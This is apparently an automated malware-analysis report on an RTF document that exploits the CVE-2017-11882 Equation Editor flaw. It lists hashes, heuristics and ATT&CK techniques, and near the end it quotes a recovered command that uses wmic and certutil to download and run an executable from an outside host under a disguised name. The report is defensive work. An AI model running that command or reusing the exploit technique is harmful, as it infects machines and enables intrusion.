RTF malware analysis — malicious · 523d32157cf36e9f

MALICIOUS

RTF

10.3 KB First seen: 2019-01-31

MD5: 7f394df1e7444623b273915203bf5d76 SHA-1: 51390483f5386c18360f3849e178ddf9a613ebe4 SHA-256: 523d32157cf36e9f52c09167a8ad8bc1389059711461b308c00fdc3093f350e2

342 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This vulnerability allows for arbitrary code execution, and the sample also contains a URL pointing to a suspicious executable. The exploit is likely delivered via spearphishing.

Heuristics 8

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Automatically linked OLE object high RTF_OBJAUTLINK

RTF contains \objautlink — an automatically linked OLE object surface that can be updated or activated when Word opens the document.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://parsintelligent.com/bin/huang.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000b8c.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xB8C	3627 bytes
SHA-256: `29ff5e5d5654bcb5e01d09ca32ba9155e407c67b379ae18c517d0e672eebb93d`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://parsintelligent.com/bin/huang.exe Static shellcode analysis recovered command string(s): cmd /start wmic process call create " cmd /c certutil -urlcache -split -f http://parsintelligent.com/bin/huang.exe %temp%\\svchosts.exe&%temp%\\svchosts.exe "

Open this report in the interactive analyzer, or submit your own file for analysis.